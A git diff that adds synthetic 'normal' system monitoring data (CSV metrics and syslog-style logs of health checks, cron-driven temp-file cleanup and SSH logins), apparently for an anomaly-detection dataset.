+2025-07-02T12:05:10Z,13.49,42.52,12.54,1.26,0.82 +2025-07-02T12:05:15Z,5.5,41.28,18.07,1.06,1.06 +2025-07-02T12:05:20Z,11.97,38.27,29.08,0.8,1.4 +2025-07-02T12:05:25Z,9.24,42.3,14.84,1.2,0.5 +2025-07-02T12:05:30Z,5.81,36.89,21.04,1.0,1.15 +2025-07-02T12:05:35Z,13.66,44.57,16.46,1.1,1.41 +2025-07-02T12:05:40Z,10.53,38.84,11.36,1.23,0.92 +2025-07-02T12:05:45Z,12.45,37.73,17.38,1.26,1.29 +2025-07-02T12:05:50Z,5.78,41.56,12.93,0.78,0.64 +2025-07-02T12:05:55Z,5.42,35.54,12.09,1.08,0.94 +2025-07-02T12:06:00Z,5.43,44.93,13.87,0.89,0.62 +2025-07-02T12:06:05Z,5.35,38.77,20.34,1.35,0.85 +2025-07-02T12:06:10Z,7.64,39.2,13.27,0.7,1.42 +2025-07-02T12:06:15Z,6.15,41.81,21.43,0.65,0.59 +2025-07-02T12:06:20Z,5.61,38.52,20.82,1.29,1.17 +2025-07-02T12:06:25Z,11.48,36.4,23.82,0.8,0.89 +2025-07-02T12:06:30Z,7.44,44.2,10.94,1.01,1.0 +2025-07-02T12:06:35Z,14.29,40.23,10.61,0.64,1.47 +2025-07-02T12:06:40Z,7.79,35.86,22.67,0.7,0.63 +2025-07-02T12:06:45Z,9.11,38.59,21.46,0.96,1.41 +2025-07-02T12:06:50Z,5.05,37.82,14.64,0.82,1.22 +2025-07-02T12:06:55Z,9.02,36.68,12.69,0.77,1.17 +2025-07-02T12:07:00Z,12.25,40.35,12.69,1.45,1.0 +2025-07-02T12:07:05Z,14.03,40.25,15.12,0.57,1.46 +2025-07-02T12:07:10Z,9.26,35.55,12.22,1.17,1.32 +2025-07-02T12:07:15Z,6.16,42.08,10.35,1.48,0.82 +2025-07-02T12:07:20Z,10.94,41.83,15.78,0.87,0.91 +2025-07-02T12:07:25Z,12.77,41.97,19.24,1.0,1.45 diff --git a/norm_dataset/scenario_4/norm_4_24.log b/norm_dataset/scenario_4/norm_4_24.log new file mode 100644 index 0000000000000000000000000000000000000000..95d477193382ae7bb755110bffb88933c5c7887e --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_24.log @@ -0,0 +1,21 @@ +Jul 02 12:00:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:00:25 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:00:50 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:01:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:01:40 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:01:40 systemd[1]: Starting daily network connection check... +Jul 02 12:02:05 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:02:30 CRON[4567]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:02:30 systemd[1]: Starting Daily Cleanup of Temporary Directories... +Jul 02 12:02:35 cleanup_script[4580]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:02:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:03:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:04:50 cleanup_script[4580]: INFO: Found and deleted 1500 expired session files. +Jul 02 12:04:55 cleanup_script[4580]: INFO: Filesystem cleanup complete. Duration: 140s. +Jul 02 12:05:00 systemd[1]: daily-clean.service: Succeeded. +Jul 02 12:05:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Jul 02 12:07:00 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_4/norm_4_25.csv b/norm_dataset/scenario_4/norm_4_25.csv new file mode 100644 index 0000000000000000000000000000000000000000..9d9b8dcba8f06c2d2955f92a938649de4ecf8c76 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_25.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-03T10:00:00Z,17.88,37.27,21.09,0.82,0.95 +2025-07-03T10:00:05Z,11.32,36.93,22.25,0.53,0.59 +2025-07-03T10:00:10Z,12.29,37.6,22.98,0.86,0.89 +2025-07-03T10:00:15Z,17.18,36.25,37.4,0.58,0.81 +2025-07-03T10:00:20Z,18.84,42.81,36.27,0.54,1.34 +2025-07-03T10:00:25Z,14.53,35.77,30.82,1.43,0.81 +2025-07-03T10:00:30Z,14.8,35.35,36.22,0.95,0.58 +2025-07-03T10:00:35Z,19.38,42.96,22.42,1.22,0.64 +2025-07-03T10:00:40Z,16.13,44.31,25.51,0.73,1.1 +2025-07-03T10:00:45Z,10.9,37.43,38.03,0.52,1.07 +2025-07-03T10:00:50Z,10.81,43.66,31.07,1.24,0.58 +2025-07-03T10:00:55Z,10.43,35.35,25.29,0.62,0.56 +2025-07-03T10:01:00Z,19.29,37.79,28.22,0.51,0.9 +2025-07-03T10:01:05Z,14.6,37.01,26.25,1.07,1.09 +2025-07-03T10:01:10Z,13.46,43.56,29.23,0.81,1.32 +2025-07-03T10:01:15Z,14.58,39.87,25.62,0.97,1.04 +2025-07-03T10:01:20Z,17.37,43.13,21.21,0.55,1.34 +2025-07-03T10:01:25Z,17.4,44.49,25.71,1.3,1.04 +2025-07-03T10:01:30Z,16.53,36.92,31.44,1.3,0.89 +2025-07-03T10:01:35Z,14.3,43.99,38.98,1.38,1.24 +2025-07-03T10:01:40Z,16.15,36.45,38.04,1.02,0.75 +2025-07-03T10:01:45Z,11.52,39.98,29.5,1.3,1.44 +2025-07-03T10:01:50Z,12.36,36.54,26.82,1.31,1.23 +2025-07-03T10:01:55Z,11.89,38.97,35.04,1.13,0.83 +2025-07-03T10:02:00Z,15.48,42.71,21.35,1.1,0.96 +2025-07-03T10:02:05Z,10.05,40.68,27.79,1.15,1.24 +2025-07-03T10:02:10Z,10.5,37.27,30.09,1.25,1.1 +2025-07-03T10:02:15Z,16.83,41.97,25.78,0.75,1.49 +2025-07-03T10:02:20Z,18.25,35.71,27.06,1.31,0.91 +2025-07-03T10:02:25Z,12.98,42.03,26.2,1.03,1.05 +2025-07-03T10:02:30Z,12.71,43.08,34.76,1.14,0.56 +2025-07-03T10:02:35Z,26.83,43.53,36.83,1.13,1.2 +2025-07-03T10:02:40Z,25.89,44.99,59.9,1.34,0.61 +2025-07-03T10:02:45Z,33.4,45.91,71.05,1.05,0.57 +2025-07-03T10:02:50Z,41.16,48.54,87.47,1.35,0.58 +2025-07-03T10:02:55Z,44.5,45.88,100.44,0.74,1.05 +2025-07-03T10:03:00Z,52.67,42.17,117.12,0.66,1.07 +2025-07-03T10:03:05Z,59.9,45.82,107.9,0.63,0.63 +2025-07-03T10:03:10Z,63.5,43.18,143.66,0.85,1.05 +2025-07-03T10:03:15Z,68.64,53.1,153.57,0.68,1.49 +2025-07-03T10:03:20Z,72.3,49.89,162.26,1.14,0.72 +2025-07-03T10:03:25Z,86.91,49.95,158.7,0.56,1.03 +2025-07-03T10:03:30Z,86.66,53.0,160.59,1.06,0.79 +2025-07-03T10:03:35Z,83.65,51.25,165.66,1.47,0.91 +2025-07-03T10:03:40Z,76.94,45.38,167.03,0.79,0.89 +2025-07-03T10:03:45Z,89.56,49.38,175.3,1.2,1.0 +2025-07-03T10:03:50Z,75.41,47.34,178.56,1.35,0.7 +2025-07-03T10:03:55Z,88.71,45.41,149.1,0.82,0.77 +2025-07-03T10:04:00Z,78.72,49.75,161.39,1.4,1.1 +2025-07-03T10:04:05Z,80.14,49.47,164.16,1.36,0.76 +2025-07-03T10:04:10Z,80.12,44.0,151.35,1.46,1.02 +2025-07-03T10:04:15Z,64.17,41.1,155.48,0.67,1.04 +2025-07-03T10:04:20Z,69.63,42.6,145.86,1.2,1.2 +2025-07-03T10:04:25Z,66.0,48.19,143.69,0.79,0.98 +2025-07-03T10:04:30Z,55.85,42.53,98.47,1.41,0.57 +2025-07-03T10:04:35Z,52.24,49.48,106.36,0.5,1.15 +2025-07-03T10:04:40Z,44.21,43.75,82.2,1.42,0.59 +2025-07-03T10:04:45Z,35.93,53.2,82.62,0.62,0.78 +2025-07-03T10:04:50Z,27.39,43.69,52.16,1.12,0.83 +2025-07-03T10:04:55Z,25.62,46.13,39.43,1.04,1.03 +2025-07-03T10:05:00Z,15.91,39.22,35.42,0.63,0.69 +2025-07-03T10:05:05Z,17.11,37.07,31.09,1.15,0.7 +2025-07-03T10:05:10Z,10.72,41.17,28.19,1.3,1.06 +2025-07-03T10:05:15Z,18.73,43.43,30.24,0.71,0.52 +2025-07-03T10:05:20Z,15.61,38.64,25.05,0.74,0.75 +2025-07-03T10:05:25Z,16.68,39.28,21.0,1.31,0.76 +2025-07-03T10:05:30Z,12.41,42.31,31.38,1.03,0.76 +2025-07-03T10:05:35Z,17.24,43.51,22.72,0.61,1.14 +2025-07-03T10:05:40Z,18.7,42.02,29.46,0.89,1.03 +2025-07-03T10:05:45Z,10.09,41.08,35.33,1.36,1.37 +2025-07-03T10:05:50Z,13.09,40.42,30.06,1.1,0.9 +2025-07-03T10:05:55Z,11.35,44.38,33.82,0.98,1.11 +2025-07-03T10:06:00Z,14.31,35.79,30.43,1.31,1.31 +2025-07-03T10:06:05Z,19.99,37.47,38.28,0.59,0.54 +2025-07-03T10:06:10Z,11.28,42.06,29.51,1.33,1.33 +2025-07-03T10:06:15Z,11.12,35.1,26.06,0.81,1.36 +2025-07-03T10:06:20Z,14.22,36.48,28.47,1.3,0.73 +2025-07-03T10:06:25Z,19.89,36.72,27.12,1.45,1.21 +2025-07-03T10:06:30Z,15.67,36.36,25.61,0.9,0.97 +2025-07-03T10:06:35Z,15.97,43.94,20.01,0.78,0.67 +2025-07-03T10:06:40Z,16.48,39.9,32.87,0.59,0.97 +2025-07-03T10:06:45Z,15.15,43.12,36.05,1.03,0.69 +2025-07-03T10:06:50Z,12.22,38.03,37.07,1.47,0.76 +2025-07-03T10:06:55Z,11.24,37.7,28.45,1.08,0.9 +2025-07-03T10:07:00Z,19.93,40.37,24.57,0.68,1.04 +2025-07-03T10:07:05Z,16.52,39.69,30.64,0.86,0.65 +2025-07-03T10:07:10Z,16.77,42.11,34.57,1.11,0.53 +2025-07-03T10:07:15Z,11.41,43.71,30.08,1.22,1.33 +2025-07-03T10:07:20Z,18.91,38.85,35.99,1.26,1.1 +2025-07-03T10:07:25Z,19.09,44.61,21.61,1.46,1.24 diff --git a/norm_dataset/scenario_4/norm_4_25.log b/norm_dataset/scenario_4/norm_4_25.log new file mode 100644 index 0000000000000000000000000000000000000000..236f089421ee0461ada6e377156da074e74bc4bc --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_25.log @@ -0,0 +1,45 @@ +Jul 03 10:00:00 web-app[2831]: GET /api/v1/user/14 status=200 OK +Jul 03 10:00:10 sshd[64]: Accepted publickey for user root from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 03 10:00:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:20 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:25 sshd[92]: Accepted publickey for user root from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 03 10:00:35 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:45 systemd[1]: Starting daily clean up activities... +Jul 03 10:00:55 web-app[2831]: GET /api/v1/user/187 status=200 OK +Jul 03 10:01:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:10 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:01:20 systemd[1]: Starting daily clean up activities... +Jul 03 10:01:40 web-app[2831]: GET /api/v1/user/43 status=200 OK +Jul 03 10:01:45 web-app[2831]: GET /api/v1/user/134 status=200 OK +Jul 03 10:01:50 sshd[39]: Accepted publickey for user root from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 03 10:01:55 web-app[2831]: GET /api/v1/user/50 status=200 OK +Jul 03 10:02:00 web-app[2831]: GET /api/v1/user/16 status=200 OK +Jul 03 10:02:10 sshd[25]: Accepted publickey for user root from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 03 10:02:15 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:20 sshd[154]: Accepted publickey for user root from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 03 10:02:25 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:02:30 CRON[3001]: (root) CMD (run-parts --report /etc/cron.daily/cleanup_tmp_files) +Jul 03 10:02:30 cleanup_tmp_files.sh[3002]: INFO: Starting cleanup of temporary files. +Jul 03 10:03:45 cleanup_tmp_files.sh[3002]: INFO: Scanned 125,834 files and 12,050 directories. +Jul 03 10:03:55 web-app[2831]: GET /api/v1/user/173 status=200 OK +Jul 03 10:04:40 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:04:55 cleanup_tmp_files.sh[3002]: INFO: Found and deleted 1500 expired session files. +Jul 03 10:05:00 cleanup_tmp_files.sh[3002]: INFO: Filesystem cleanup finished successfully in 150 seconds. +Jul 03 10:05:05 sshd[133]: Accepted publickey for user root from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 03 10:05:10 web-app[2831]: GET /api/v1/user/67 status=200 OK +Jul 03 10:05:15 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:05:20 sshd[42]: Accepted publickey for user root from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 03 10:05:30 sshd[165]: Accepted publickey for user root from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 03 10:05:50 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:05:55 sshd[31]: Accepted publickey for user root from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 03 10:06:00 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:20 systemd[1]: Starting daily clean up activities... +Jul 03 10:06:25 web-app[2831]: GET /api/v1/user/138 status=200 OK +Jul 03 10:06:30 sshd[177]: Accepted publickey for user root from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 03 10:06:40 kubelet[1122]: INFO Liveness probe succeeded for pod web-app-pod +Jul 03 10:06:55 sshd[74]: Accepted publickey for user root from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 03 10:07:00 web-app[2831]: GET /api/v1/user/156 status=200 OK +Jul 03 10:07:15 sshd[142]: Accepted publickey for user root from 192.168.1.10 port 54322 ssh2: RSA SHA256:... +Jul 03 10:07:20 web-app[2831]: GET /api/v1/user/182 status=200 OK +Jul 03 10:07:25 systemd[1]: Starting daily clean up activities... diff --git a/norm_dataset/scenario_4/norm_4_26.csv b/norm_dataset/scenario_4/norm_4_26.csv new file mode 100644 index 0000000000000000000000000000000000000000..369f90f46deb5773faa82c9dc8f8fa7f7ef9665c --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_26.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-26T10:00:00Z,17.3,56.37,16.52,1.03,0.76 +2025-07-26T10:00:05Z,14.02,48.66,14.29,1.5,0.75 +2025-07-26T10:00:10Z,15.28,37.18,17.27,1.22,1.03 +2025-07-26T10:00:15Z,17.36,46.62,25.05,1.35,0.51 +2025-07-26T10:00:20Z,17.69,43.68,27.15,1.44,1.02 +2025-07-26T10:00:25Z,14.97,39.29,22.04,1.19,0.75 +2025-07-26T10:00:30Z,11.67,44.33,18.17,1.06,1.0 +2025-07-26T10:00:35Z,17.64,39.57,25.45,0.8,0.7 +2025-07-26T10:00:40Z,13.9,45.54,23.05,0.8,0.68 +2025-07-26T10:00:45Z,15.05,42.26,24.18,0.78,0.92 +2025-07-26T10:00:50Z,15.73,55.98,14.46,0.8,0.6 +2025-07-26T10:00:55Z,7.84,45.56,23.86,0.52,0.48 +2025-07-26T10:01:00Z,16.05,44.79,20.56,1.18,0.54 +2025-07-26T10:01:05Z,13.67,44.29,20.69,0.94,1.09 +2025-07-26T10:01:10Z,15.33,37.02,14.57,1.2,0.6 +2025-07-26T10:01:15Z,17.9,53.16,14.64,1.08,1.1 +2025-07-26T10:01:20Z,14.72,49.53,23.54,1.26,0.92 +2025-07-26T10:01:25Z,16.95,47.52,19.47,1.13,0.93 +2025-07-26T10:01:30Z,12.44,44.42,12.83,1.18,0.82 +2025-07-26T10:01:35Z,15.61,43.09,14.07,1.39,0.57 +2025-07-26T10:01:40Z,19.91,46.35,19.21,0.6,0.65 +2025-07-26T10:01:45Z,11.07,43.74,17.35,0.96,0.94 +2025-07-26T10:01:50Z,18.32,58.93,16.73,0.68,0.61 +2025-07-26T10:01:55Z,16.18,47.97,19.93,1.06,0.77 +2025-07-26T10:02:00Z,11.28,53.78,25.27,0.92,0.44 +2025-07-26T10:02:05Z,13.62,43.38,25.84,0.64,0.54 +2025-07-26T10:02:10Z,12.63,40.43,18.38,0.78,0.8 +2025-07-26T10:02:15Z,16.49,47.94,18.97,0.5,0.74 +2025-07-26T10:02:20Z,12.58,49.45,21.73,1.18,0.78 +2025-07-26T10:02:25Z,16.11,54.64,16.31,0.73,0.6 +2025-07-26T10:02:30Z,77.39,44.58,96.16,0.76,1.04 +2025-07-26T10:02:35Z,77.24,46.42,98.28,1.05,1.02 +2025-07-26T10:02:40Z,84.49,47.08,95.76,0.91,0.71 +2025-07-26T10:02:45Z,79.48,46.2,102.69,1.25,0.73 +2025-07-26T10:02:50Z,75.75,39.61,93.54,0.66,1.04 +2025-07-26T10:02:55Z,69.89,39.68,90.88,0.84,1.2 +2025-07-26T10:03:00Z,78.9,49.77,91.67,0.5,0.86 +2025-07-26T10:03:05Z,79.87,45.86,84.91,0.95,0.74 +2025-07-26T10:03:10Z,65.26,42.93,88.77,0.83,0.98 +2025-07-26T10:03:15Z,76.05,45.86,80.94,1.46,0.84 +2025-07-26T10:03:20Z,11.95,49.19,21.67,1.23,0.76 +2025-07-26T10:03:25Z,14.7,51.39,16.9,0.95,0.4 +2025-07-26T10:03:30Z,17.28,46.92,30.0,0.74,0.6 +2025-07-26T10:03:35Z,16.26,42.65,21.62,1.04,0.57 +2025-07-26T10:03:40Z,17.96,34.11,19.41,0.87,0.96 +2025-07-26T10:03:45Z,9.94,42.79,18.88,0.61,1.0 +2025-07-26T10:03:50Z,19.05,50.55,11.05,1.02,0.6 +2025-07-26T10:03:55Z,15.08,45.18,20.67,0.96,0.99 +2025-07-26T10:04:00Z,20.22,45.86,15.62,1.14,0.62 +2025-07-26T10:04:05Z,15.05,49.24,30.0,1.09,0.79 +2025-07-26T10:04:10Z,9.86,44.74,19.74,1.15,0.44 +2025-07-26T10:04:15Z,15.15,39.29,20.51,0.85,0.88 +2025-07-26T10:04:20Z,15.13,51.34,22.11,1.07,0.75 +2025-07-26T10:04:25Z,19.7,38.05,18.15,0.97,0.93 +2025-07-26T10:04:30Z,15.04,45.65,25.1,0.79,0.82 +2025-07-26T10:04:35Z,11.1,40.18,15.13,0.95,0.91 +2025-07-26T10:04:40Z,19.83,42.39,21.76,1.0,0.7 +2025-07-26T10:04:45Z,18.3,39.81,19.67,1.28,0.58 +2025-07-26T10:04:50Z,15.09,49.24,27.21,1.0,0.56 +2025-07-26T10:04:55Z,13.75,40.89,30.0,0.91,0.93 +2025-07-26T10:05:00Z,11.93,40.67,22.29,0.9,0.86 +2025-07-26T10:05:05Z,16.58,47.07,18.57,0.66,1.02 +2025-07-26T10:05:10Z,23.33,43.72,24.69,1.0,0.46 +2025-07-26T10:05:15Z,9.82,55.0,23.42,0.75,1.02 +2025-07-26T10:05:20Z,13.09,42.18,22.13,0.94,0.91 +2025-07-26T10:05:25Z,18.94,41.11,25.14,1.03,0.52 +2025-07-26T10:05:30Z,10.46,41.85,13.54,0.87,0.9 +2025-07-26T10:05:35Z,14.93,40.49,26.14,0.89,0.88 +2025-07-26T10:05:40Z,15.0,43.42,25.64,0.81,0.57 +2025-07-26T10:05:45Z,17.83,47.75,23.82,0.58,1.13 +2025-07-26T10:05:50Z,15.93,44.79,17.31,0.89,0.41 +2025-07-26T10:05:55Z,11.28,55.06,13.62,1.16,0.81 +2025-07-26T10:06:00Z,14.22,47.33,25.41,1.5,0.8 +2025-07-26T10:06:05Z,16.6,36.04,22.29,1.12,1.07 +2025-07-26T10:06:10Z,12.45,52.57,17.19,1.34,0.72 +2025-07-26T10:06:15Z,16.75,43.0,15.13,1.0,0.72 +2025-07-26T10:06:20Z,13.53,40.97,27.09,1.17,0.58 +2025-07-26T10:06:25Z,19.38,41.29,22.89,1.38,0.75 +2025-07-26T10:06:30Z,18.91,41.75,24.32,1.42,1.06 +2025-07-26T10:06:35Z,21.55,53.02,20.74,1.1,1.05 +2025-07-26T10:06:40Z,12.03,47.1,17.31,0.86,0.86 +2025-07-26T10:06:45Z,15.31,40.46,15.41,0.91,0.69 +2025-07-26T10:06:50Z,16.61,49.42,21.14,1.19,0.4 +2025-07-26T10:06:55Z,12.37,36.59,26.74,1.09,0.75 +2025-07-26T10:07:00Z,19.38,54.5,21.71,0.88,0.62 +2025-07-26T10:07:05Z,14.02,50.04,12.7,0.82,0.4 +2025-07-26T10:07:10Z,14.91,45.58,23.44,0.79,1.17 +2025-07-26T10:07:15Z,17.55,47.31,22.25,1.04,0.96 +2025-07-26T10:07:20Z,12.0,43.82,16.02,0.5,0.4 +2025-07-26T10:07:25Z,18.62,43.56,30.0,1.08,0.82 diff --git a/norm_dataset/scenario_4/norm_4_26.log b/norm_dataset/scenario_4/norm_4_26.log new file mode 100644 index 0000000000000000000000000000000000000000..944eabfdbd788f9db47020bc56e5eeca4b0d3dac --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_26.log @@ -0,0 +1,22 @@ +Jul 26 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 26 10:00:00 web-app[2234]: GET /api/v1/health status=200 OK +Jul 26 10:00:40 web-app[2234]: GET /api/v1/health status=200 OK +Jul 26 10:01:15 systemd[1]: Starting daily clean up activities... +Jul 26 10:01:20 web-app[2234]: GET /api/v1/health status=200 OK +Jul 26 10:02:00 web-app[2234]: GET /api/v1/health status=200 OK +Jul 26 10:02:30 CRON[7531]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 26 10:02:30 run-parts[7532]: Starting cleanup_tmp_files.sh. +Jul 26 10:02:30 systemd[1]: Starting daily clean up activities... +Jul 26 10:02:40 web-app[2234]: GET /api/v1/health status=200 OK +Jul 26 10:03:20 run-parts[7532]: Finished cleanup_tmp_files.sh. +Jul 26 10:03:20 run-parts[7532]: INFO: Found and deleted 1686 expired session files. +Jul 26 10:03:20 web-app[2234]: GET /api/v1/health status=200 OK +Jul 26 10:03:45 systemd[1]: Starting daily clean up activities... +Jul 26 10:04:00 web-app[2234]: GET /api/v1/health status=200 OK +Jul 26 10:04:40 web-app[2234]: GET /api/v1/health status=200 OK +Jul 26 10:05:00 systemd[1]: Starting daily clean up activities... +Jul 26 10:05:20 web-app[2234]: GET /api/v1/health status=200 OK +Jul 26 10:06:00 web-app[2234]: GET /api/v1/health status=200 OK +Jul 26 10:06:15 systemd[1]: Starting daily clean up activities... +Jul 26 10:06:40 web-app[2234]: GET /api/v1/health status=200 OK +Jul 26 10:07:20 web-app[2234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_27.csv b/norm_dataset/scenario_4/norm_4_27.csv new file mode 100644 index 0000000000000000000000000000000000000000..d1a683db1608d89aac5c06c470fcc3da5cdd93f8 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_27.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,16.4901424590337,40.19415509869608,33.128336738825034,1.488254657813223,1.1038693028482345 +2025-07-02T12:00:05Z,14.585207096486446,41.93728998106578,25.714212217918586,0.9128275697641121,1.3 +2025-07-02T12:00:10Z,16.94306561430208,38.59589381224529,24.64553750969444,1.432632750430992,0.9782479703086284 +2025-07-02T12:00:15Z,19.569089569224076,39.344675706804466,32.41236207621593,1.2020466122039173,1.0803423444197884 +2025-07-02T12:00:20Z,14.297539875829992,39.21578369373569,28.882686073370746,1.0036982697904098,1.1380287983422226 +2025-07-02T12:00:25Z,14.297589129152458,37.07297010373576,33.57000247046046,1.2924206948526542,0.9197559056228327 +2025-07-02T12:00:30Z,19.737638446522176,40.592240554129155,32.366188122867726,1.239811939114694,1.0448184963620835 +2025-07-02T12:00:35Z,17.302304187458727,40.522110544359776,29.635855436715637,1.079956624568241,1.002518480156359 +2025-07-02T12:00:40Z,13.591576842195144,40.010226913284924,25.766031409657977,1.2139604169980038,1.0195352197097662 +2025-07-02T12:00:45Z,16.627680130757895,39.530825733249706,22.425763876570677,1.1229372806276479,0.8453980432289067 +2025-07-02T12:00:50Z,13.609746921562614,37.16925851589917,27.767425239664895,1.2227034690502496,1.0049020348517885 +2025-07-02T12:00:55Z,13.602810739289229,39.15870935446928,34.28199397161736,1.3324261349042092,1.09959965824909 +2025-07-02T12:01:00Z,15.725886814698102,39.31457096694646,31.07046872065102,1.5172033632290705,1.2902287215590085 +2025-07-02T12:01:05Z,9.260159266026607,38.39544546155676,23.771306106440058,0.9524369002346301,1.1918541652170414 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12:01:15 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:02:05 sshd[5678]: Accepted publickey for user from 192.168.1.10 port 22 +Jul 02 12:02:30 CRON[8899]: (root) CMD (run-parts --report /etc/cron.daily) +Jul 02 12:02:30 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:02:35 systemd[1]: Starting Daily Clean-up of Temporary Directories... +Jul 02 12:02:40 cleanup_script[8901]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:03:45 cleanup_script[8901]: INFO: Scanning /var/log for old log files. +Jul 02 12:03:45 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:04:10 sshd[5678]: Accepted publickey for user from 192.168.1.10 port 22 +Jul 02 12:04:35 cleanup_script[8901]: INFO: Found and deleted 1500 expired session files. +Jul 02 12:05:00 cleanup_script[8901]: INFO: Filesystem cleanup complete. Total space freed: 1.2GB. +Jul 02 12:05:00 web-app[1234]: GET /api/v1/health status=200 OK +Jul 02 12:05:05 systemd[1]: daily-clean.service: Succeeded. +Jul 02 12:06:15 sshd[5678]: Accepted publickey for user from 192.168.1.10 port 22 +Jul 02 12:06:15 web-app[1234]: GET /api/v1/health status=200 OK diff --git a/norm_dataset/scenario_4/norm_4_28.csv b/norm_dataset/scenario_4/norm_4_28.csv new file mode 100644 index 0000000000000000000000000000000000000000..2b339e95119e072d10bab96933fbfee083f2d557 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_28.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-07-02T12:00:00Z,13.012082691044728,42.09630909558754,29.241940470101753,0.9861161158416692,1.5152922034778622 +2025-07-02T12:00:05Z,9.98423212230567,42.48146242461324,33.16461947321066,1.184547486187176,0.9082745722002787 +2025-07-02T12:00:10Z,18.51731311390295,42.44877236706299,34.8919919287216,1.0506262707444258,1.2254302106057184 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+2025-07-02T12:06:55Z,17.104702722764863,42.483354214492955,36.51586893474216,1.0686466284766034,0.6142766368545172 +2025-07-02T12:07:00Z,12.990616229443539,40.443624598696026,31.47319936647842,1.045955964842076,0.8329875289044528 +2025-07-02T12:07:05Z,20.58493532132517,41.17334772274756,31.95820328353858,0.9081665924384854,0.7991112526253771 +2025-07-02T12:07:10Z,17.337749166226203,38.769674117070956,26.12494239608371,1.1145145256801832,0.6124719447934542 +2025-07-02T12:07:15Z,17.096279289608102,41.44779689938012,29.220788133553707,1.2916671496902639,1.0081832919644325 +2025-07-02T12:07:20Z,16.967087852249495,45.445866063977384,27.91634313281015,0.8926426241487286,0.7052315118992667 +2025-07-02T12:07:25Z,7.662307914189878,39.78296991027837,33.874578981535656,0.7552291672033811,0.9783325105945815 diff --git a/norm_dataset/scenario_4/norm_4_28.log b/norm_dataset/scenario_4/norm_4_28.log new file mode 100644 index 0000000000000000000000000000000000000000..7be3f6878b8c6e0adba361ff3b16a9d096556d72 --- /dev/null +++ b/norm_dataset/scenario_4/norm_4_28.log @@ -0,0 +1,35 @@ +Jul 02 12:00:15 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:37 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:00:53 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:06 web-app[1234]: GET /api/v1/user/12 status=200 OK +Jul 02 12:01:22 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:01:34 systemd[1]: Starting daily clean up activities... +Jul 02 12:01:49 systemd[1]: Starting daily clean up activities... +Jul 02 12:02:05 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 02 12:02:18 web-app[1234]: GET /api/v1/products/list status=200 OK +Jul 02 12:02:30 CRON[5630]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 02 12:02:31 cleanup_script[5631]: INFO: Starting cleanup_tmp_files.sh. +Jul 02 12:02:33 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Jul 02 12:02:43 kubelet[2345]: INFO 